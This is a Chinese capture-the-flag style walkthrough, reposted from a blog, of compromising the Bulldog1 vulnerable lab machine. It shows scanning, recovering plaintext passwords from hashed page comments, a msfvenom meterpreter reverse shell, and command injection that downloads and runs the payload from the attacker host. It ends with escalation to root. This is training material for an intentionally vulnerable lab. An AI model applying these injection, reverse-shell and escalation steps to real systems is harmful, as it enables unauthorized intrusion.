标签：实战 bulldogindustries 渗透 meterpreter http 192.168 Bulldog1 100.149 com
Bulldog1渗透实战
文章转载 靶机渗透测试实战（三）——Bulldog1渗透实战
Bulldog1渗透实战
扫描不到bulldog主机ip
【1】从新启动bulldog，到开机页面选择第二个Ubuntu的高级选项。
【2】进入高级选项，再次选择第二个Linux内核版本的恢复模式回车。
选择root一行回车，进入命令行模式。
vim /etc/network/interfaces ，修改网卡名称成步骤查询的结果，保存。
auto ens33
iface ens33 inet dhcp
reboot
输入 ifconfig -a （查看网卡名称）
dhclient
目标主机IP：192.168.100.149
nmap 192.168.100.149
nmap -sV -T4 -p 23,80,8080 192.168.100.149
whatweb 192.168.100.149
dirb http://192.168.100.149
访问http://192.168.37.141/admin/
url–>http://192.168.100.149/admin/login/?next=/admin/
访问http://192.168.37.141/dev
访问http://192.168.37.141/dev 的源码
Team Lead: alan@bulldogindustries.com<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead: william@bulldogindustries.com<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End: malik@bulldogindustries.com<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End: kevin@bulldogindustries.com<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End: ashley@bulldogindustries.com<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End: nick@bulldogindustries.com<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->
Database: sarah@bulldogindustries.com<br><!--d8b8dd5e7f000b8dea26ef8428caf38c04466b3e-->
分析源码可以猜测：
```
用户名为nick，密码为bulldog；
用户名为sarah，密码为bulldoglover；
```
尝试进行登录主页
认证成功之后，尝试访问http://192.168.100.149/dev/shell/
获取shell
- msfvenom生成木马
sudo msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.143 LPORT=4444 -b "\x00" -i 10 -f elf -o /var/www/html/xiao3
linux.rc
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.143
set LPORT 4444
exploit
- 开启监听
msfconsole -qr /home/xiaoxiaoran/shell/linux.rc
- 命令注入执行木马
ls & wget http://192.168.100.143/xiao3
ls & chmod +x xiao3
ls & ./xiao3
提权操作
meterpreter > cat /etc/passwd
meterpreter > cd /home/bulldogadmin
meterpreter > ls
meterpreter > cd .hiddenadmindirectory
meterpreter > ls
meterpreter > cat note
meterpreter > download customPermissionApp /temp
┌──(root192)-[/temp]
└─# strings customPermissionApp
猜测可能是密码，应为SUPER、 ulitimate、PASSWORD、youCANTget****， 可以把他们连到一起正好是SUPER ultimate PASSWORD you CAN Tget，H是来混淆的，中间刚好有PADDWORD；
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")';
sudo python -c 'import pty; pty.spawn("/bin/bash")';
密码为 SUPERultimatePASSWORDyouCANTget
ok…拿到root
后续
meterpreter > sysinfo
searchsploit Ubuntu 16.04
meterpreter > upload /tmp /usr/share/exploitdb/exploits/linux/local/44298.c
gcc -pthread 44298.c -o exp -lcrypt
没有gcc --.–
msf还不太会用,希望有大佬带
标签：实战,bulldogindustries,渗透,meterpreter,http,192.168,Bulldog1,100.149,com 来源： https://blog.csdn.net/qq_52549196/article/details/120373731
本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享； 2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关； 3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关； 4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除； 5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。